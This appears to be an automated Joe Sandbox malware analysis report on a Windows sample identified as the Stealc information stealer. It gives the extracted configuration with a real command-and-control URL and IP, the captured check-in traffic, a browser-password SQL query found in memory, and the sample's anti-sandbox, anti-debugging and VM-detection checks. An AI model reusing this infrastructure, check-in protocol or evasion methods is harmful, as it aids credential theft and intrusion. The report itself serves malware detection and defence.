Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1531318
MD5:	9c7193e94b13d7380dccc18b19a95158
SHA1:	4d69fe7afa38cf9fa65fd5acd25e66bc6ad230b4
SHA256:	480374d99e5a098171a92a8b09b3a6fb5a43c216e21d328e6c17d87b5d12c2f0
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 2004 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9C7193E94B13D7380DCCC18B19A95158)

cleanup

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1664387616.0000000005670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2004	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2004	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.cb0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T01:49:59.923701+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.cb0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00CBC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00CB9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00CB7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00CB9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00CC8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CC38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CC4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CBDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CBE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CC4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CBED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CB16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CC3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CBF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CBBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CBDE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 35 46 41 42 43 33 31 35 31 30 34 30 38 31 39 30 37 36 37 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="hwid"F45FABC315104081907672------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="build"doma------GDGHJEHJJDAAAKEBGCFC--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00CB4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 35 46 41 42 43 33 31 35 31 30 34 30 38 31 39 30 37 36 37 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="hwid"F45FABC315104081907672------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="build"doma------GDGHJEHJJDAAAKEBGCFC--

Source: file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1706114024.00000000018D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1706114024.00000000018F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1706114024.00000000018C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4&ne
Source: file.exe, 00000000.00000002.1706114024.00000000018C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpd&
Source: file.exe, 00000000.00000002.1706114024.00000000018D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.373h
Source: file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37eE

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C	0_2_0107992C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010851C6	0_2_010851C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100381A	0_2_0100381A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107E8A9	0_2_0107E8A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106F8F3	0_2_0106F8F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA92B7	0_2_00FA92B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011743C1	0_2_011743C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010713F8	0_2_010713F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112150F	0_2_0112150F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F9E44E	0_2_00F9E44E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7BC49	0_2_00F7BC49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01077DD1	0_2_01077DD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01088755	0_2_01088755
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107CF78	0_2_0107CF78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01081E16	0_2_01081E16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5D7D7	0_2_00F5D7D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB27B9	0_2_00FB27B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01072E6B	0_2_01072E6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8A771	0_2_00F8A771

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00CB45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qlydljbc ZLIB complexity 0.9947369304234428

Source: file.exe, 00000000.00000003.1664387616.0000000005670000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00CC8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00CC3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\9XHW8LHR.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM urls LIMIT 1000;
Source: file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url, username_value, password_value FROM loginsi;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1825280 > 1048576

Source: file.exe

Static PE information: Raw size of qlydljbc is bigger than: 0x100000 < 0x197600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qlydljbc:EW;jrcyigtg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qlydljbc:EW;jrcyigtg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00CC9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c42de should be: 0x1c8a57

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qlydljbc
Source: file.exe	Static PE information: section name: jrcyigtg
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B3906 push esi; mov dword ptr [esp], ecx	0_2_010B3DC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114790D push esi; mov dword ptr [esp], ecx	0_2_01147863
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push eax; mov dword ptr [esp], esi	0_2_01079959
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ebp; mov dword ptr [esp], 0DBB4929h	0_2_010799ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 6476BFF4h; mov dword ptr [esp], ebx	0_2_01079A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 36B5E66Eh; mov dword ptr [esp], edi	0_2_01079AE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ebp; mov dword ptr [esp], esi	0_2_01079AE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push esi; mov dword ptr [esp], ebx	0_2_01079AF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ecx; mov dword ptr [esp], esi	0_2_01079B24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push eax; mov dword ptr [esp], 0E57E0EAh	0_2_01079B32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ecx; mov dword ptr [esp], edi	0_2_01079C1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 153E3B40h; mov dword ptr [esp], edi	0_2_01079C6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ecx; mov dword ptr [esp], esi	0_2_01079C84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push eax; mov dword ptr [esp], ebx	0_2_01079CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push edx; mov dword ptr [esp], ecx	0_2_01079CDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ebp; mov dword ptr [esp], 5C93D611h	0_2_01079D19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 20B823CFh; mov dword ptr [esp], edi	0_2_01079D75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ebp; mov dword ptr [esp], 396F5BA5h	0_2_01079D88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 10FE46AAh; mov dword ptr [esp], edi	0_2_01079DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 63CF2A32h; mov dword ptr [esp], edi	0_2_01079E21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push edx; mov dword ptr [esp], ecx	0_2_01079F8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push edi; mov dword ptr [esp], edx	0_2_01079FD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 00E320EFh; mov dword ptr [esp], edi	0_2_01079FDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push esi; mov dword ptr [esp], edx	0_2_01079FF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 6B284A9Ah; mov dword ptr [esp], ebp	0_2_0107A01F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 7C4B119Ah; mov dword ptr [esp], edi	0_2_0107A04A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ebx; mov dword ptr [esp], 3393174Bh	0_2_0107A09B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ebx; mov dword ptr [esp], 2CB3E040h	0_2_0107A0DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push esi; mov dword ptr [esp], 747D05C7h	0_2_0107A110
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push ecx; mov dword ptr [esp], esi	0_2_0107A221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107992C push 23319677h; mov dword ptr [esp], ebx	0_2_0107A250

Source: file.exe

Static PE information: section name: qlydljbc entropy: 7.95389639217539

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00CC9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13568

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12210 second address: F12214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A49 second address: F11A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D56E second address: 108D576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D576 second address: 108D583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D583 second address: 108D58D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBD3971C776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6AD second address: 108C6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6B1 second address: 108C6B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C6B5 second address: 108C6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBD38EF6166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C9D0 second address: 108C9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FBD3971C786h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CCEE second address: 108CD0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBD38EF616Fh 0x0000000a jns 00007FBD38EF6166h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F4EB second address: 108F50F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBD3971C77Ch 0x00000008 jp 00007FBD3971C776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 jp 00007FBD3971C778h 0x00000019 pushad 0x0000001a popad 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push ebx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F50F second address: 108F515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F593 second address: 108F598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
